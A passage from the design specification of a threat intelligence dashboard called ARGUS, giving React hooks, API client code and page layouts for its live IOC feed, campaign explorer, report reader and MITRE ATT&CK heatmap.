On useEffect cleanup (component unmount): close WebSocket with code 1000 (normal closure) — this prevents reconnection attempts
Build the full WebSocket URL from window.location: const wsUrl = (window.location.protocol === 'https:' ? 'wss:' : 'ws:') + '//' + window.location.host + url

`src/hooks/usePollQuery.js`

Thin wrapper around TanStack Query's useQuery for polling.

Parameters:

/**
 * @param {Array} queryKey - TanStack Query key array
 * @param {function} queryFn - Async function that fetches data
 * @param {number} intervalMs - Polling interval in milliseconds
 * @param {object} [options] - Additional useQuery options
 */

Returns: The useQuery result object: { data, isLoading, isError, error, isFetching }.

Implementation:

import { useQuery } from '@tanstack/react-query'

export default function usePollQuery(queryKey, queryFn, intervalMs, options = {}) {
  return useQuery({
    queryKey,
    queryFn,
    refetchInterval: intervalMs,
    refetchIntervalInBackground: false, // Don't poll when tab is hidden
    staleTime: intervalMs - 1000,       // Consider data stale just before next poll
    ...options,
  })
}

`src/hooks/useCountUp.js`

Animates a number from its previous value to its new value.

Parameters:

/**
 * @param {number} value - Target value to animate to
 * @param {number} [duration=600] - Animation duration in ms
 * @returns {number} - The currently displayed intermediate value
 */

Implementation notes:

Store the previous value in a useRef
When value changes, start a requestAnimationFrame loop
Each frame: calculate progress as (now - startTime) / duration, clamp to [0, 1]
Apply ease-out: progress = 1 - Math.pow(1 - progress, 3) (cubic ease-out)
Current display value = Math.round(previousValue + (value - previousValue) * progress)
When progress reaches 1.0: stop the animation, update previousValue ref
On unmount: cancelAnimationFrame(rafId) to prevent memory leaks

`src/hooks/useLiveFeed.js`

Orchestrates the Live Feed page's real-time data.

Returns:

/**
 * @returns {{
 *   iocs: Array,              // Rolling buffer of the last 500 IOCs
 *   status: string,           // 'connected'|'connecting'|'disconnected'|'polling'|'error'
 *   isPaused: boolean,        // Whether the user has paused the feed
 *   setPaused: function,      // Toggle pause state
 *   filters: object,          // { iocType: string|null, sourceFeed: string|null, minConfidence: number }
 *   setFilters: function,     // Update filters
 *   filteredIocs: Array,      // IOCs after client-side filtering
 *   stats: object,            // { total: number, lastTimestamp: string|null }
 * }}
 */

Implementation notes:

Primary path: Connect to WebSocket at /ws/live-feed via useWebSocket
Fallback path: If WebSocket status is 'error' (max reconnects exceeded), fall back to polling GET /api/iocs?limit=20&since={lastSeenTimestamp} every 5 seconds via usePollQuery. Set status to 'polling'.
IOC buffer: Maintain a useRef array of up to 500 IOCs. New IOCs are prepended (newest at index 0). When length exceeds 500, slice to 500.
On WebSocket message: Parse event field. If event === 'new_ioc', prepend data to the buffer (unless isPaused is true). If event === 'ping', ignore (it's a keepalive).
Initial load: On mount, fetch GET /api/iocs?limit=20 to pre-populate the buffer while the WebSocket connects. This satisfies the "3-second test" — the user sees data immediately.
Filters: Applied client-side to the buffer: filteredIocs = iocs.filter(...) based on iocType, sourceFeed, minConfidence.
Pause: When isPaused is true, new WebSocket messages are still received but NOT prepended to the display buffer. They are buffered in a separate useRef array. When unpaused, the buffered IOCs are merged in.

`src/hooks/useReactFlow.js`

Fetches and transforms campaign graph data for React Flow.

Parameters:

/**
 * @param {string|null} campaignId - Campaign UUID to fetch graph for
 * @returns {{ nodes: Array, edges: Array, isLoading: boolean, error: object|null }}
 */

Implementation notes:

Fetches from GET /api/campaigns/{campaignId}/graph using useQuery (not polling — graphs don't change fast enough)
Enabled only when campaignId is not null
Node transformation: The backend returns position: { x: 0, y: 0 } for all nodes. Client-side layout uses @dagrejs/dagre:

  import dagre from '@dagrejs/dagre'

  function layoutGraph(nodes, edges) {
    const g = new dagre.graphlib.Graph()
    g.setDefaultEdgeLabel(() => ({}))
    g.setGraph({ rankdir: 'TB', nodesep: 100, ranksep: 80 })

    nodes.forEach((node) => {
      g.setNode(node.id, { width: 180, height: 60 })
    })
    edges.forEach((edge) => {
      g.setEdge(edge.source, edge.target)
    })

    dagre.layout(g)

    return nodes.map((node) => {
      const pos = g.node(node.id)
      return { ...node, position: { x: pos.x - 90, y: pos.y - 30 } }
    })
  }

Node type assignment: Based on data.ioc_type:
- ipv4, ipv6 → type: 'iocNode', border colour: argus-red
- domain → type: 'iocNode', border colour: argus-blue
- sha256, md5, sha1 → type: 'iocNode', border colour: orange-400
- campaign → type: 'campaignNode', border colour: yellow-500
Edge properties: All edges get animated: true (dashed animation) and style: { stroke: '#6b6b80' }.

1.10 — API Layer

`src/api/client.js`

Shared fetch wrapper used by all API modules.

const API_BASE = '/api'

export async function apiFetch(path, options = {}) {
  const url = `${API_BASE}${path}`
  const response = await fetch(url, {
    headers: {
      'Content-Type': 'application/json',
      ...options.headers,
    },
    ...options,
  })

  if (!response.ok) {
    const error = new Error(`API error: ${response.status} ${response.statusText}`)
    error.status = response.status
    try {
      error.body = await response.json()
    } catch {
      // No JSON body
    }
    throw error
  }

  // Handle blob responses (PDF downloads)
  if (options.responseType === 'blob') {
    return response.blob()
  }

  return response.json()
}

export function buildWsUrl(path) {
  const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:'
  return `${protocol}//${window.location.host}${path}`
}

`src/api/iocs.js`

import { apiFetch, buildWsUrl } from './client'

/**
 * Fetch paginated IOC list
 * @param {object} params - { ioc_type?, source_feed?, limit?, offset?, since? }
 * @returns {Promise<{iocs: Array, total: number, limit: number, offset: number}>}
 */
export async function fetchIocs(params = {}) {
  const query = new URLSearchParams()
  if (params.ioc_type) query.set('ioc_type', params.ioc_type)
  if (params.source_feed) query.set('source_feed', params.source_feed)
  if (params.limit) query.set('limit', String(params.limit))
  if (params.offset) query.set('offset', String(params.offset))
  if (params.since) query.set('since', params.since)
  return apiFetch(`/iocs?${query.toString()}`)
}

/**
 * Fetch single IOC by ID
 * @param {string} iocId - UUID
 * @returns {Promise<object>} - EnrichedIOC
 */
export async function fetchIoc(iocId) {
  return apiFetch(`/iocs/${iocId}`)
}

/**
 * Get WebSocket URL for live feed
 * @returns {string}
 */
export function getLiveFeedWsUrl() {
  return buildWsUrl('/ws/live-feed')
}

`src/api/campaigns.js`

import { apiFetch } from './client'

/**
 * Fetch paginated campaign list
 * @param {object} params - { limit?, offset? }
 * @returns {Promise<{campaigns: Array, total: number}>}
 */
export async function fetchCampaigns(params = {}) {
  const query = new URLSearchParams()
  if (params.limit) query.set('limit', String(params.limit))
  if (params.offset) query.set('offset', String(params.offset))
  return apiFetch(`/campaigns?${query.toString()}`)
}

/**
 * Fetch single campaign with all details
 * @param {string} campaignId - UUID
 * @returns {Promise<object>}
 */
export async function fetchCampaign(campaignId) {
  return apiFetch(`/campaigns/${campaignId}`)
}

/**
 * Fetch campaign graph data for React Flow
 * @param {string} campaignId - UUID
 * @returns {Promise<{nodes: Array, edges: Array}>}
 */
export async function fetchCampaignGraph(campaignId) {
  return apiFetch(`/campaigns/${campaignId}/graph`)
}

`src/api/reports.js`

import { apiFetch } from './client'

/**
 * Fetch paginated report list
 * @param {object} params - { limit?, offset? }
 * @returns {Promise<{reports: Array, total: number}>}
 */
export async function fetchReports(params = {}) {
  const query = new URLSearchParams()
  if (params.limit) query.set('limit', String(params.limit))
  if (params.offset) query.set('offset', String(params.offset))
  return apiFetch(`/reports?${query.toString()}`)
}

/**
 * Fetch single report with full detail
 * @param {string} reportId - UUID
 * @returns {Promise<object>}
 */
export async function fetchReport(reportId) {
  return apiFetch(`/reports/${reportId}`)
}

/**
 * Download report as PDF blob
 * @param {string} reportId - UUID
 * @returns {Promise<Blob>}
 */
export async function downloadReportPdf(reportId) {
  return apiFetch(`/reports/${reportId}/pdf`, { responseType: 'blob' })
}

`src/api/feeds.js`

import { apiFetch } from './client'

/**
 * Fetch all feed statuses
 * @returns {Promise<{feeds: Array}>}
 */
export async function fetchFeeds() {
  return apiFetch('/feeds/status')
}

/**
 * Trigger immediate feed poll
 * @param {string} feedName
 * @returns {Promise<{triggered: boolean, feed_name: string}>}
 */
export async function triggerFeed(feedName) {
  return apiFetch(`/feeds/trigger/${feedName}`, { method: 'POST' })
}

/**
 * Pause a feed
 * @param {string} feedName
 * @returns {Promise<{status: string}>}
 */
export async function pauseFeed(feedName) {
  return apiFetch(`/feeds/pause/${feedName}`, { method: 'POST' })
}

/**
 * Resume a feed
 * @param {string} feedName
 * @returns {Promise<{status: string}>}
 */
export async function resumeFeed(feedName) {
  return apiFetch(`/feeds/resume/${feedName}`, { method: 'POST' })
}

`src/api/reviews.js`

import { apiFetch } from './client'

/**
 * Fetch all pending human reviews
 * @returns {Promise<{reviews: Array}>}
 */
export async function fetchPendingReviews() {
  return apiFetch('/reviews')
}

/**
 * Fetch single review detail
 * @param {string} reportId - UUID
 * @returns {Promise<object>}
 */
export async function fetchReview(reportId) {
  return apiFetch(`/reviews/${reportId}`)
}

/**
 * Submit a review decision
 * @param {string} reportId - UUID
 * @param {object} decision - { decision: 'approve'|'override'|'false_positive', analyst_notes?, override_prediction? }
 * @returns {Promise<{status: string, decision: string}>}
 */
export async function submitReview(reportId, decision) {
  return apiFetch(`/reviews/${reportId}/decision`, {
    method: 'POST',
    body: JSON.stringify(decision),
  })
}

`src/api/agents.js`

import { apiFetch } from './client'

/**
 * Fetch all agent health data
 * @returns {Promise<object>}
 */
export async function fetchAgentHealth() {
  return apiFetch('/agents/health')
}

`src/api/mitre.js`

import { apiFetch } from './client'

/**
 * Fetch MITRE ATT&CK heatmap data
 * @param {object} params - { days? } - time range in days
 * @returns {Promise<{techniques: Array, total_techniques_observed: number, time_range_days: number}>}
 */
export async function fetchMitreHeatmap(params = {}) {
  const query = new URLSearchParams()
  if (params.days) query.set('days', String(params.days))
  return apiFetch(`/mitre/heatmap?${query.toString()}`)
}

`src/api/metrics.js`

import { apiFetch } from './client'

/**
 * Fetch aggregated summary metrics for dashboard header
 * @returns {Promise<object>}
 */
export async function fetchSummaryMetrics() {
  return apiFetch('/metrics/summary')
}

1.11 — Router Configuration

File: `src/router.jsx`

import { createBrowserRouter } from 'react-router-dom'
import AppShell from './components/layout/AppShell'
import LiveFeed from './pages/LiveFeed'
import Campaigns from './pages/Campaigns'
import ThreatReports from './pages/ThreatReports'
import MitreHeatmap from './pages/MitreHeatmap'
import GraphViewer from './pages/GraphViewer'
import ReviewQueue from './pages/ReviewQueue'
import AgentHealth from './pages/AgentHealth'
import FeedManager from './pages/FeedManager'

const router = createBrowserRouter([
  {
    element: <AppShell />,
    children: [
      { index: true, element: <LiveFeed /> },
      { path: 'live-feed', element: <LiveFeed /> },
      { path: 'campaigns', element: <Campaigns /> },
      { path: 'reports', element: <ThreatReports /> },
      { path: 'mitre', element: <MitreHeatmap /> },
      { path: 'graph', element: <GraphViewer /> },
      { path: 'reviews', element: <ReviewQueue /> },
      { path: 'agents', element: <AgentHealth /> },
      { path: 'feeds', element: <FeedManager /> },
    ],
  },
])

export default router

File: `src/main.jsx`

import React from 'react'
import ReactDOM from 'react-dom/client'
import { RouterProvider } from 'react-router-dom'
import { QueryClient, QueryClientProvider } from '@tanstack/react-query'
import router from './router'
import './index.css'

const queryClient = new QueryClient({
  defaultOptions: {
    queries: {
      retry: 2,
      refetchOnWindowFocus: false,
      staleTime: 5000,
    },
  },
})

ReactDOM.createRoot(document.getElementById('root')).render(
  <React.StrictMode>
    <QueryClientProvider client={queryClient}>
      <RouterProvider router={router} />
    </QueryClientProvider>
  </React.StrictMode>
)

File: `src/index.css`

@tailwind base;
@tailwind components;
@tailwind utilities;

/* Import Google Fonts */
@import url('https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&family=JetBrains+Mono:wght@400;500&display=swap');

/* Reset and base styles */
* {
  margin: 0;
  padding: 0;
  box-sizing: border-box;
}

body {
  font-family: 'Inter', system-ui, sans-serif;
  background-color: #0a0a0f;
  color: #e4e4ef;
  -webkit-font-smoothing: antialiased;
  -moz-osx-font-smoothing: grayscale;
}

/* Custom scrollbar for dark theme */
::-webkit-scrollbar {
  width: 6px;
}
::-webkit-scrollbar-track {
  background: #0a0a0f;
}
::-webkit-scrollbar-thumb {
  background: #1e1e2e;
  border-radius: 3px;
}
::-webkit-scrollbar-thumb:hover {
  background: #2a2a3e;
}

File: `src/App.jsx`

import { Outlet } from 'react-router-dom'

export default function App() {
  return <Outlet />
}

File: `argus/frontend/index.html`

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <meta name="description" content="ARGUS — Agentic threat intelligence dashboard for real-time IOC monitoring, campaign analysis, and adversary trajectory prediction" />
    <title>ARGUS — Threat Intelligence Dashboard</title>
    <link rel="icon" type="image/svg+xml" href="data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 100 100'><text y='.9em' font-size='90'>🦅</text></svg>" />
  </head>
  <body>
    <div id="root"></div>
    <script type="module" src="/src/main.jsx"></script>
  </body>
</html>

Extracted from: docs/11_FRONTEND_PAGES.md

ARGUS Frontend Pages 📄

Complete specification for all 8 React pages

PAGE 1 — Live Feed (`/live-feed`)

Purpose

The real-time IOC stream page — the centrepiece of the recruiter demo. It shows threat indicators arriving in real time, with animated counters, a live data stream, and type distribution charts.

Demo Moment

A recruiter watches IOC rows slide in from the top, each with a green highlight that fades over 3 seconds, while the "IOCs Today" counter animates upward. The pulsing red "LIVE" badge confirms this is real data, not a recording.

Data Sources

Primary: WebSocket /ws/live-feed for real-time IOC push
Fallback: GET /api/iocs?limit=20&since={ts} polled every 5s (when WS fails)
Stats: GET /api/metrics/summary polled every 10s (for stat cards)
Initial load: GET /api/iocs?limit=20 on mount (pre-populate while WS connects)

Layout (ASCII Wireframe)

┌──────────────────────────────────────────────────────────────────────────┐
│  ┌──────────────┐  ┌──────────────┐  ┌──────────────┐      [LIVE ●]    │
│  │ IOCs Today   │  │ Active Feeds │  │ Last IOC     │      or          │
│  │   1,247  ↑   │  │     8        │  │ 3s ago       │      [PAUSED]    │
│  └──────────────┘  └──────────────┘  └──────────────┘      [RECONNECT] │
├──────────────────────────────────────────────────────────────────────────┤
│  ┌─────────────────────────────────────────────┐  ┌────────────────────┐│
│  │  LIVE IOC STREAM                            │  │ IOCs by Type       ││
│  │  ┌────────────────────────────────────────┐ │  │ (last 10 min)      ││
│  │  │ [ipv4] 192.0.2.1    feodo  ██░░ 82%  3s│ │  │                    ││
│  │  │ [domain] evil.com   otx    ███░ 91%  5s│ │  │  ┌─┐               ││
│  │  │ [sha256] abc123...  vt     █░░░ 45% 12s│ │  │  │ │  ┌─┐          ││
│  │  │ [ipv4] 10.0.0.1     feodo  ██░░ 78% 18s│ │  │  │ │  │ │ ┌─┐      ││
│  │  │ ... (scrollable, max 500 rows)         │ │  │  │ │  │ │ │ │ ┌─┐  ││
│  │  └────────────────────────────────────────┘ │  │  IP  DOM URL HASH  ││
│  └─────────────────────────────────────────────┘  └────────────────────┘│
├──────────────────────────────────────────────────────────────────────────┤
│  Filter: [IOC Type ▼]  [Source Feed ▼]  [Min Confidence: ████░ 0.5]    │
└──────────────────────────────────────────────────────────────────────────┘

Component Breakdown

LiveFeed/index.jsx
├── PageWrapper
│   ├── <header> — Stats row
│   │   ├── StatCard { label: "IOCs Today", value: metrics.iocs_last_24h, icon: "Shield", variant: "red" }
│   │   ├── StatCard { label: "Active Feeds", value: metrics.active_feeds, icon: "Rss", variant: "blue" }
│   │   ├── StatCard { label: "Last IOC", value: <TimeAgo timestamp={metrics.last_ioc_ingested_at} />, icon: "Clock" }
│   │   └── LiveStatusBadge { status: feed.status } — inline component
│   ├── <div className="flex gap-6"> — Main content row
│   │   ├── <div className="flex-1"> — IOC Stream
│   │   │   └── <div className="overflow-y-auto max-h-[calc(100vh-320px)]">
│   │   │       └── {filteredIocs.map(ioc => <IOCRow key={ioc.ioc_id} ioc={ioc} />)}
│   │   └── <div className="w-80"> — Sidebar chart
│   │       └── IOCTypeChart { iocs: filteredIocs }
│   └── FilterBar { filters, setFilters }

`IOCRow.jsx` — Single IOC row

Each row is a div with class flex items-center gap-3 px-4 py-3 border-b border-argus-border hover:bg-argus-elevated transition-colors. New rows that arrived in the last 3 seconds have the additional class animate-highlight-fade.

Row contents (left to right):

Badge with IOC type, variant from the type→colour map
IOCValue with the IOC value (monospace, copy button)
<span className="text-sm text-argus-text-secondary"> with source_feed
ConfidenceBar with value={ioc.confidence_score} (width: 80px)
TimeAgo with timestamp={ioc.ingested_at}
If ioc.malware_family: small Badge with variant yellow

`IOCTypeChart.jsx` — Mini bar chart

Uses Recharts <BarChart> with a <Bar> per IOC type. Data is computed client-side from the IOC buffer: count by ioc_type over the last 10 minutes. Refreshes every 5 seconds via useState + setInterval.

Chart config:

width={300} height={250}
Dark theme: <XAxis tick={{ fill: '#a0a0b8', fontSize: 12 }}>
Bar fills: use the IOC type colour map (red for IP, blue for domain, etc.)
No grid lines: <CartesianGrid strokeDasharray="3 3" stroke="#1e1e2e" />

`FilterBar.jsx`

Horizontal bar at the bottom of the page.

Three filters:

IOC Type dropdown: <select> with options: "All Types", "ipv4", "domain", "url", "sha256", "md5", "cve". Styled: bg-argus-elevated border border-argus-border rounded-lg px-3 py-2 text-sm text-argus-text-primary
Source Feed dropdown: <select> with dynamic options from the IOC buffer's unique source_feed values
Min Confidence slider: <input type="range" min="0" max="1" step="0.1"> with current value displayed. Styled: accent-argus-red

Filters are applied client-side to filteredIocs in the useLiveFeed hook.

`LiveStatusBadge` — inline component

Renders based on status:

'connected': <span className="flex items-center gap-1.5 bg-argus-red-muted text-argus-red px-3 py-1 rounded-full text-xs font-semibold"><span className="w-2 h-2 rounded-full bg-argus-red animate-pulse-dot" /> LIVE</span>
'paused' (user paused): <span className="... bg-argus-yellow-muted text-argus-yellow ...">PAUSED</span>
'connecting' or 'polling': <span className="... bg-argus-elevated text-argus-text-muted ..."><Loader2 className="animate-spin" size={12} /> RECONNECTING</span>
'error': <span className="... bg-argus-elevated text-argus-text-muted ...">OFFLINE — Polling</span>

Interaction Spec

Scroll: The IOC stream scrolls vertically. If the user scrolls up (away from latest), auto-scroll pauses. A "↓ Scroll to latest" button appears at the bottom centre.
Pause: Clicking the LIVE badge toggles isPaused. When paused, new IOCs are buffered but not displayed. Badge changes to PAUSED (yellow).
Filter: Selecting a filter immediately filters the displayed IOC list (client-side).
Copy: Clicking the copy button on IOCValue copies the value to clipboard.
Click IOC row: Future enhancement — opens a detail panel. For MVP, rows are not clickable.

Empty State

Shows EmptyState with icon="Radio", title="Waiting for IOCs...", description="Start the pipeline with 'make demo' to see live threat indicators flowing in.".

Loading State

Three LoadingSkeleton variant="card" for stat cards. Multiple LoadingSkeleton variant="row" for the IOC stream area. A LoadingSkeleton variant="chart" for the chart.

Animation Spec

Animation	Trigger	What it does	Duration
Count-up	Stat card value changes	Number animates from old → new	600ms
Highlight fade	New IOC row added	Green background fades to transparent	3000ms
Pulse dot	LIVE badge dot	Continuous pulsing opacity + scale	2000ms loop
Fade-in	Page mount	Entire page fades in	300ms
Slide-up	IOC row enters list	Row slides up from 10px below	300ms

PAGE 2 — Campaign Explorer (`/campaigns`)

Purpose

Browse and inspect correlated IOC campaigns. The left panel lists campaigns sorted by recency; selecting one shows full detail in the right panel with tabs for Overview, IOCs, MITRE Techniques, and Prediction.

Demo Moment

After the APT29 demo runs, the recruiter sees a campaign card with "SUNBURST" malware family, a confidence gauge, and clicking it reveals an interconnected kill-chain timeline with predicted next phase.

Data Sources

Campaign list: GET /api/campaigns?limit=50 polled every 30s
Campaign detail: GET /api/campaigns/{id} fetched on selection
Campaign graph (for overview tab): GET /api/campaigns/{id}/graph fetched on selection

Layout (ASCII Wireframe)

┌────────────────────────────┬─────────────────────────────────────────────┐
│  CAMPAIGNS (sorted by      │  CAMPAIGN DETAIL                            │
│  last activity)            │                                             │
│  ┌──────────────────────┐  │  ┌───────────────────────────────────────┐  │
│  │ Campaign a0eebc99    │◄ │  │ Campaign: a0eebc99    Confidence: 78% │  │
│  │ IOCs: 12 | Emotet    │  │  │ IOCs: 12 | First: Jan 10 | Last: Jan 15│  │
│  │ Confidence: ███░ 78% │  │  └───────────────────────────────────────┘  │
│  │ 3 hours ago          │  │                                             │
│  └──────────────────────┘  │  [Overview] [IOC List] [MITRE] [Prediction] │
│  ┌──────────────────────┐  │  ─────────────────────────────────────────── │
│  │ Campaign 7c9e6679    │  │  (tab content rendered here)                │
│  │ IOCs: 5 | Unknown    │  │                                             │
│  │ Confidence: ██░░ 55% │  │                                             │
│  │ 1 day ago            │  │                                             │
│  └──────────────────────┘  │                                             │
│  ...                       │                                             │
│  (scrollable)              │                                             │
└────────────────────────────┴─────────────────────────────────────────────┘

Component Breakdown

Campaigns/index.jsx
├── PageWrapper
│   └── <div className="flex gap-6 h-[calc(100vh-120px)]">
│       ├── CampaignList { campaigns, selectedId, onSelect }
│       │   └── <div className="w-80 overflow-y-auto border-r border-argus-border pr-4">
│       │       └── {campaigns.map(c => <CampaignListItem ... />)}
│       └── CampaignDetail { campaignId }
│           ├── <header> — Campaign ID, confidence gauge, IOC count, date range
│           ├── <nav> — Tab buttons: Overview | IOC List | MITRE | Prediction
│           └── <div> — Active tab content
│               ├── CampaignOverview (if tab === 'overview')
│               ├── CampaignIOCList (if tab === 'iocs')
│               ├── CampaignMITRE (if tab === 'mitre')
│               └── CampaignPrediction (if tab === 'prediction')

Tab Contents

Overview tab (CampaignOverview.jsx):

Kill-chain phase timeline: horizontal stepper showing observed phases (e.g., Reconnaissance → Delivery → C&C). Each phase is a circle connected by lines. Observed phases are filled with bg-argus-red, unobserved are bg-argus-elevated.
Top 5 IOCs: list showing type badge, value, confidence.
Enrichment coverage: a small stat showing "X of Y IOCs enriched" with a bar.

IOC List tab (CampaignIOCList.jsx):

Table with columns: Type (badge), Value (monospace), Confidence (bar), Source Feed, Malware Family, Ingested At.
Pagination: simple prev/next with 20 IOCs per page.
Uses data from the campaign detail endpoint's iocs array.

MITRE Techniques tab (CampaignMITRE.jsx):

List of mapped techniques. Each item: TechniqueTag with technique ID, technique name, tactic in text-argus-text-muted, ConfidenceBar, and rationale text in text-sm text-argus-text-secondary.

Prediction tab (CampaignPrediction.jsx):

Prediction box styled with border-2 border-argus-red rounded-lg p-6.
Header: "Adversary Trajectory Prediction" in text-argus-red font-semibold.
Predicted phase: large text (e.g., "Installation").
Predicted techniques: list of TechniqueTag + probability bar + rationale.
Confidence: ConfidenceBar for overall prediction confidence.
Validation status badge: Badge showing "Pending" (grey), "Confirmed" (green), or "Falsified" (red).

Interaction Spec

Click a campaign in the left panel → right panel loads that campaign's detail
Tab switching is client-side state (no URL change)
Campaign list auto-refreshes every 30s; if the selected campaign is in the new list, detail stays open

Empty State

Left panel: EmptyState icon="Target" title="No campaigns detected" description="Campaigns appear when the pipeline correlates IOCs into clusters. Run 'make demo' to generate one."
Right panel (no campaign selected): centred text "Select a campaign to view details" in text-argus-text-muted.

Loading State

Left panel: 5 LoadingSkeleton variant="row". Right panel: LoadingSkeleton variant="card" + multiple LoadingSkeleton variant="text".

Animation Spec

Animation	Trigger	Duration
Fade-in	Page mount	300ms
Slide-in-right	Campaign detail loads	300ms
Count-up	Confidence percentage changes	600ms

PAGE 3 — Threat Reports (`/reports`)

Purpose

Browse and read generated threat intelligence reports. Each report is rendered in a styled reader view (not raw JSON) with executive summary, technical narrative, kill-chain timeline, MITRE tags, prediction, and recommended mitigations.

Demo Moment

The recruiter opens a report and sees a Mandiant-style intelligence brief — executive summary in clean prose, a visual kill-chain timeline, technique tags, and a prominent prediction box. They can download it as a PDF.

Data Sources

Report list: GET /api/reports?limit=20 polled every 30s
Report detail: GET /api/reports/{id} fetched on selection
PDF download: GET /api/reports/{id}/pdf triggered on button click

Layout (ASCII Wireframe)

┌─────────────────────────┬───────────────────────────────────────────────┐
│  REPORTS                │  REPORT DETAIL                       [📥 PDF] │
│  ┌───────────────────┐  │                                               │
│  │ Campaign a0eebc99 │  │  ═══════════════════════════════════════════  │
│  │ Confidence: 78%   │  │  EXECUTIVE SUMMARY                            │
│  │ Jan 15, 2024      │  │  A financially-motivated threat actor is...   │
│  │ [NEEDS REVIEW] 🟠 │  │                                               │
│  │ "A financially..." │  │  ═══════════════════════════════════════════  │
│  └───────────────────┘  │  TECHNICAL NARRATIVE                           │
│  ┌───────────────────┐  │  The campaign was first detected on...         │
│  │ Campaign 7c9e6679 │  │  (flowing paragraphs)                         │
│  │ ✓ AUTO-PROCESSED  │  │                                               │
│  └───────────────────┘  │  ═══════════════════════════════════════════  │
│  ...                    │  KILL-CHAIN TIMELINE                           │
│                         │  Recon ──→ Delivery ──→ C2                     │
│                         │                                               │
│                         │  ═══════════════════════════════════════════  │
│                         │  MITRE ATT&CK TECHNIQUES                      │
│                         │  [T1566.001] [T1071.001] [T1053.005]          │
│                         │                                               │
│                         │  ═══════════════════════════════════════════  │
│                         │  ┌─ PREDICTION ──────────────────────────┐    │
│                         │  │ Next Phase: Installation              │    │
│                         │  │ Confidence: 72%                       │    │
│                         │  │ Techniques: T1053.005 (78%)           │    │
│                         │  └───────────────────────────────────────┘    │
│                         │                                               │
│                         │  ═══════════════════════════════════════════  │
│                         │  RECOMMENDED MITIGATIONS                      │
│                         │  1. Block outbound HTTPS to...                │
│                         │  2. Disable macro execution...                │
└─────────────────────────┴───────────────────────────────────────────────┘

Component Breakdown

ThreatReports/index.jsx
├── PageWrapper
│   └── <div className="flex gap-6 h-[calc(100vh-120px)]">
│       ├── ReportList { reports, selectedId, onSelect }
│       │   └── Report cards with escalation badge, summary snippet
│       └── ReportDetail { reportId }
│           ├── <header> — Report title + PDF download button
│           ├── <section> — Executive Summary (clean prose paragraph)
│           ├── <section> — Technical Narrative (flowing paragraphs, not JSON)
│           ├── <section> — Kill-chain timeline (horizontal visual)
│           ├── <section> — MITRE Techniques (TechniqueTag list)
│           ├── <section> — Prediction box (red-bordered box)
│           └── <section> — Recommended Mitigations (numbered list)

Report List Item

Each report card: bg-argus-surface border border-argus-border rounded-lg p-4 cursor-pointer hover:border-argus-border-bright transition-colors. Contents:

Campaign ID (first 8 chars) in font-mono text-sm
Confidence percentage
Date
Escalation badge: Badge variant="yellow" with text "NEEDS REVIEW" if escalation_required === true, or Badge variant="green" with "AUTO-PROCESSED" if false
First 100 chars of executive summary in text-sm text-argus-text-muted line-clamp-2

PDF Download

The "Download PDF" button calls downloadReportPdf(reportId) which returns a Blob. Create a temporary <a> element with URL.createObjectURL(blob), set download filename, click, then revoke URL.

Interaction Spec

Click a report card → detail panel loads
Click "Download PDF" → browser downloads the PDF file
Report list auto-refreshes every 30s

Empty State

EmptyState icon="FileText" title="No reports generated" description="Reports are created when the ThreatNarrativeAgent processes a campaign with 2+ MITRE techniques."

Loading State

Left panel: 3 LoadingSkeleton variant="card". Right panel: multiple LoadingSkeleton variant="text".

Animation Spec

Animation	Trigger	Duration
Fade-in	Page mount	300ms
Slide-in-right	Report detail loads	300ms

PAGE 4 — MITRE ATT&CK Heatmap (`/mitre`)

Purpose

Full-screen MITRE ATT&CK enterprise matrix heatmap showing which techniques ARGUS has observed across all campaigns. Colour intensity indicates frequency. Clicking a technique reveals a detail panel.

Demo Moment

The recruiter sees a dark matrix of technique cells, with a cluster of cells glowing red around Initial Access and Command & Control — the APT29 demo campaign's techniques lighting up the matrix.

Data Sources

Heatmap data: GET /api/mitre/heatmap?days=30 polled every 60s
Time range options: 7 / 30 / all (parameter passed to endpoint)

Layout (ASCII Wireframe)

┌──────────────────────────────────────────────────────────────────────────┐
│  [Last 7 days] [Last 30 days] [All time]        Total observed: 12     │
├──────────────────────────────────────────────────────────────────────────┤
│  Recon │ Res Dev │ Init Acc │ Exec │ Persist │ Priv Esc │ ... │ Impact │
│  ──────┼─────────┼──────────┼──────┼─────────┼──────────┼─────┼────────│
│        │         │ ████████ │      │         │          │     │        │
│        │         │ T1566    │      │ T1053   │          │     │        │
│        │         │ (12)     │      │ (3)     │          │     │        │
│        │         │          │      │         │          │     │        │
│        │         │ ████     │      │         │          │     │        │
│        │         │ T1190    │      │         │          │     │        │
│        │         │ (5)      │      │         │          │     │        │
│        │         │          │      │         │ ████     │     │        │
│        │         │          │      │         │ T1055    │     │        │
│        │         │          │      │         │ (2)      │     │        │
└──────────────────────────────────────────────────────────────────────────┘
                                    ┌──────────────────────────────────────┐
                                    │  T1566.001 — Spearphishing          │
                                    │  Attachment                          │
                                    │  Tactic: Initial Access              │
                                    │  Observed in 4 campaigns             │
                                    │  Avg confidence: 81%                 │
                                    │  Last seen: 3 hours ago              │
                                    │                                      │
                                    │  Campaigns:                          │
                                    │  - a0eebc99 (conf: 88%)             │
                                    │  - 7c9e6679 (conf: 72%)             │
                                    └──────────────────────────────────────┘

Component Breakdown

MitreHeatmap/index.jsx
├── PageWrapper { fullWidth: true }
│   ├── <header> — Time range buttons + total observed count
│   ├── HeatmapGrid { techniques, onTechniqueClick }
│   │   └── <div className="grid grid-cols-[repeat(14,1fr)] gap-1">
│   │       ├── (14 tactic column headers)
│   │       └── (technique cells per tactic column)
│   └── TechniquePanel { technique, isOpen, onClose }
│       └── Slide-in from right with technique detail

HeatmapGrid

Implementation approach: The MITRE ATT&CK enterprise matrix has 14 tactics. The grid is a CSS grid with 14 columns. Each column represents one tactic. The endpoint returns only observed techniques — unobserved techniques are not rendered.

Tactic columns (exact order):

Reconnaissance
Resource Development
Initial Access
Execution
Persistence
Privilege Escalation
Defense Evasion
Credential Access
Discovery
Lateral Movement
Collection
Command and Control
Exfiltration
Impact

Technique cell: Each observed technique is a div in the appropriate tactic column. Styled:

bg-opacity based on count:
  count >= 10: bg-argus-red (full intensity)
  count >= 5:  bg-argus-red/70
  count >= 2:  bg-argus-blue
  count == 1:  bg-argus-blue/50

Size: w-full rounded p-2
Text: technique_id in font-mono text-xs, technique_name truncated to 20 chars in text-xs
Count badge: (count) in text-xs font-bold

Clicking a cell opens TechniquePanel.

TechniquePanel

